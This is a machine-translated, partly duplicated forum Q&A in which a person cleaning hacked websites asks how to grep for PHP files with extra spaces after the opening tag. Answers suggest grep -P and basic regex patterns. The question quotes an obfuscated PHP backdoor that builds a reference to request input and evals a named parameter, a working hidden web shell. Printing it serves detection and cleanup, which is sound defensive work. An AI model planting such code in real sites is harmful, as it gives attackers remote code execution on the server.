查找在打开php标记后包含2个以上空格的所有php文件
我现在的职位让我整天都在清理被黑客攻击的网站。我设法在主服务器上获得了shell访问权限,因此我可以运行一些快速命令来隔离有问题的文件并将其删除 下面是一个有问题的文件示例:查找在打开php标记后包含2个以上空格的所有php文件,php,regex,Php,Regex,我现在的职位让我整天都在清理被黑客攻击的网站。我设法在主服务器上获得了shell访问权限,因此我可以运行一些快速命令来隔离有问题的文件并将其删除 下面是一个有问题的文件示例: "php $uzi51="otpres_u"; $zlg07= $uzi51[5]. $uzi51[1]. $uzi51[3]. $uzi51[1].$uzi51[0]. $uzi51[7].$uzi51[2]. $uzi51[2]. $uzi51[4]
"php $uzi51="otpres_u"; $zlg07= $uzi51[5]. $uzi51[1]. $uzi51[3]. $uzi51[1].$uzi51[0]. $uzi51[7].$uzi51[2]. $uzi51[2]. $uzi51[4]. $uzi51[3];$rpu17=$zlg07 ($uzi51[6].$uzi51[2].$uzi51[0]. $uzi51[5]. $uzi51[1] ) ; if( isset( ${ $rpu17 }[ 'q635689'] )){ eval( ${$rpu17}['q635689' ] ) ;}
这是这些类型利用漏洞的典型行为。打开php标记,然后始终超过2个空格
我尝试过的命令:
grep -rl '\?php[ ]{2,}()' directory/
我使用以下站点构建了正则表达式:
这与我上面粘贴的代码完全匹配。但是当我集成到grep中时,在命令行中没有显示任何内容。
我也试过:
pcregrep -rM '\?php[\s]+[^\S]*$' *.php
在这一点上完全卡住了
非常感谢您的帮助或指导。将
-p
标志添加到grep
命令中。它告诉grep使用perl正则表达式
grep -Prl '\?php[ ]{2,}()' directory/
从man grep
-p
--perl正则表达式
将模式解释为Perl正则表达式。这是非常重要的
实验性的和“grep-P”可能会警告未实施
特征
将
-p
标志添加到grep
命令中。它告诉grep使用perl正则表达式
grep -Prl '\?php[ ]{2,}()' directory/
从man grep
-p
--perl正则表达式
将模式解释为Perl正则表达式。这是非常重要的
实验性的和“grep-P”可能会警告未实施
特征
我会用这个:
grep -r '<?php \{3,\}'
grep-r'我会用这个:
grep -r '<?php \{3,\}'
grep-r'完美。我试图增加投票,但我没有足够的分数。@user3597384接受答案也会给你一些;-)再加上它标志着问题已经解决。完美。我试图增加投票,但我没有足够的分数。@user3597384接受答案也会给你一些;-)另外,这标志着问题已经解决。这在我的本地机器上不起作用,但在Cent上效果很好。我想投票,但我还没有足够的分数。这在我的本地机器上不起作用,但在Cent上效果很好。我会投票,但我还没有足够的分数。你写道:我现在的职位让我整天都在清理被黑客攻击的网站。他们不应该做些什么来防止被黑客攻击吗?你写道:我现在的职位让我整天都在清理被黑客攻击的网站。他们不应该做些什么来防止被黑客攻击吗?